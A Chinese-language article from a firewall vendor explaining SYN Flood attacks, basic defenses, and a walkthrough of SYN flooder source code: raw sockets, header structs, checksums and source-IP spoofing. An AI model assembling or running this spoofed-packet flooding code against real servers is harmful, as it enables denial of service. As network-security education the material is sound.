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剖析SYN Flood攻击
剖析SYN Flood攻击
作者:冰盾防火墙 网站:www.bingdun.com 日期:2014-11-27
 

 SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

  要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:

  大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

  首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

  第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。

  第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

  以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。

  问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

  从防御角度来说,有几种简单的解决方法:

  第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。

  第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被丢弃。

  可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

  二、SYN Flooder源码解读

  下面我们来分析SYN Flooder的程序实现。

  首先,我们来看一下TCP报文的格式:

  如上图所示,一个TCP报文由三个部分构成:20字节的IP首部、20字节的TCP首部与不定长的数据段,(实际操作时可能会有可选的IP选项,这种情况下TCP首部向后顺延)由于我们只是发送一个SYN信号,并不传递任何数据,所以TCP数据段为空。TCP首部的数据结构为:

  根据TCP报文格式,我们定义一个结构TCP_HEADER用来存放TCP首部:

  typedef struct _tcphdr

  {

  USHORT th_sport;  //16位源端口

  USHORT th_dport;  //16位目的端口

  unsigned int th_seq;  //32位序列号

  unsigned int th_ack;  //32位确认号

  unsigned char th_lenres; //4位首部长度+6位保留字中的4位

  unsigned char th_flag;  //2位保留字+6位标志位

  USHORT th_win;   //16位窗口大小

  USHORT th_sum;   //16位校验和

  USHORT th_urp;   //16位紧急数据偏移量

  }TCP_HEADER;

  通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作:

  同样定义一个IP_HEADER来存放IP首部:

  typedef struct _iphdr

  {

  unsigned char h_verlen;  //4位首部长度+4位IP版本号

  unsigned char tos;  //8位服务类型TOS

  unsigned short total_len; //16位总长度(字节)

  unsigned short ident;  //16位标识

  unsigned short frag_and_flags; //3位标志位

  unsigned char ttl;  //8位生存时间 TTL

  unsigned char proto;  //8位协议号(TCP, UDP 或其他)

  unsigned short checksum; //16位IP首部校验和

  unsigned int sourceIP;  //32位源IP地址

  unsigned int destIP;  //32位目的IP地址

  }IP_HEADER;

  然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

  建立一个原始套接口,由于我们的IP源地址是伪造的,所以不能指望系统帮我们计算IP校验和,我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:

  flag=TRUE;

  setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

  IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:

  USHORT checksum(USHORT *buffer, int size)

  {

  unsigned long cksum=0;

  while(size >1)

  {

  cksum+=*buffer++;

  size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

  }

  这个函数并没有经过任何的优化,由于校验和函数是TCP/IP协议中被调用最多函数之一,所以一般说来,在实现TCP/IP栈时,会根据操作系统对校验和函数进行优化。

  TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。

  需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:

  struct

  {

  unsigned long saddr; //源地址

  unsigned long daddr; //目的地址

  char mbz;   //置空

  char ptcl;   //协议类型

  unsigned short tcpl; //TCP长度

  }psd_header;

  然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:

  memcpy(SendBuf,&psd_header,sizeof(psd_header));

  memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

  tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

  计算IP校验和的时候不需要包括TCP伪首部:

  memcpy(SendBuf,&ip_header,sizeof(ip_header));

  memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

  ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

  再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:

  memcpy(SendBuf,&ip_header,sizeof(ip_header));

  sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

  因为整个TCP报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在IP首部中放置随机的源IP地址,如果伪造的源IP地址确实有人使用,他在接收到服务器的SYN+ACK报文后会发送一个RST报文(标志位为00000100),通知服务器端不需要等待一个无效的连接,可是如果这个伪造IP并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是TCP协议的缺陷),主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。

 

 
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